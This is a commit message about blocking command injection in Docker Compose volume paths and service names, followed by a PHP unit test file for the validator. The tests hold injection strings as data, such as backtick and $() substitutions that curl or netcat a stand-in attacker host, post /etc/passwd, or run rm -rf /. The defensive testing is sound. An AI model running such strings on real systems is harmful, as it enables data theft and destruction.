fix: prevent command injection in Docker Compose parsing - add pre-save validation

This commit addresses a critical security issue where malicious Docker Compose
data was being saved to the database before validation occurred.

Problem:
- Service models were saved to database first
- Validation ran afterwards during parse()
- Malicious data persisted even when validation failed
- User saw error but damage was already done

Solution:
1. Created validateDockerComposeForInjection() to validate YAML before save
2. Added pre-save validation to all Service creation/update points:
   - Livewire: DockerCompose.php, StackForm.php
   - API: ServicesController.php (create, update, one-click)
3. Validates service names and volume paths (string + array formats)
4. Blocks shell metacharacters: backticks, $(), |, ;, &, >, <, newlines

Security fixes:
- Volume source paths (string format) - validated before save
- Volume source paths (array format) - validated before save
- Service names - validated before save
- Environment variable patterns - safe ${VAR} allowed, ${VAR:-$(cmd)} blocked

Testing:
- 60 security tests pass (176 assertions)
- PreSaveValidationTest.php: 15 tests for pre-save validation
- ValidateShellSafePathTest.php: 15 tests for core validation
- VolumeSecurityTest.php: 15 tests for volume parsing
- ServiceNameSecurityTest.php: 15 tests for service names

Related commits:
- Previous: Added validation during parse() phase
- This commit: Moves validation before database save

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>

tests/Unit/ValidateShellSafePathTest.php

@@ -0,0 +1,143 @@
+<?php
+
+test('allows safe paths without special characters', function () {
+    $safePaths = [
+        '/var/lib/data',
+        './relative/path',
+        'named-volume',
+        'my_volume_123',
+        '/home/user/app/data',
+        'C:/Windows/Path',
+        '/path-with-dashes',
+        '/path_with_underscores',
+        'volume.with.dots',
+    ];
+
+    foreach ($safePaths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
+    }
+});
+
+test('blocks backtick command substitution', function () {
+    $path = '/tmp/pwn`curl attacker.com`';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'backtick');
+});
+
+test('blocks dollar-paren command substitution', function () {
+    $path = '/tmp/pwn$(cat /etc/passwd)';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('blocks pipe operators', function () {
+    $path = '/tmp/file | nc attacker.com 1234';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'pipe');
+});
+
+test('blocks semicolon command separator', function () {
+    $path = '/tmp/file; curl attacker.com';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'separator');
+});
+
+test('blocks ampersand operators', function () {
+    $paths = [
+        '/tmp/file & curl attacker.com',
+        '/tmp/file && curl attacker.com',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class, 'operator');
+    }
+});
+
+test('blocks redirection operators', function () {
+    $paths = [
+        '/tmp/file > /dev/null',
+        '/tmp/file < input.txt',
+        '/tmp/file >> output.log',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('blocks newline command separator', function () {
+    $path = "/tmp/file\ncurl attacker.com";
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'newline');
+});
+
+test('blocks complex command injection with the example from issue', function () {
+    $path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
+
+    expect(fn () => validateShellSafePath($path, 'volume source'))
+        ->toThrow(Exception::class);
+});
+
+test('blocks nested command substitution', function () {
+    $path = '/tmp/$(echo $(whoami))';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('blocks variable substitution patterns', function () {
+    $paths = [
+        '/tmp/${PWD}',
+        '/tmp/${PATH}',
+        'data/${USER}',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('provides context-specific error messages', function () {
+    $path = '/tmp/evil`command`';
+
+    try {
+        validateShellSafePath($path, 'volume source');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('volume source');
+    }
+
+    try {
+        validateShellSafePath($path, 'service name');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('service name');
+    }
+});
+
+test('handles empty strings safely', function () {
+    expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
+});
+
+test('allows paths with spaces', function () {
+    // Spaces themselves are not dangerous in properly quoted shell commands
+    // The escaping should be handled elsewhere (e.g., escapeshellarg)
+    $path = '/path/with spaces/file';
+
+    expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
+});
+
+test('blocks multiple attack vectors in one path', function () {
+    $path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class);
+});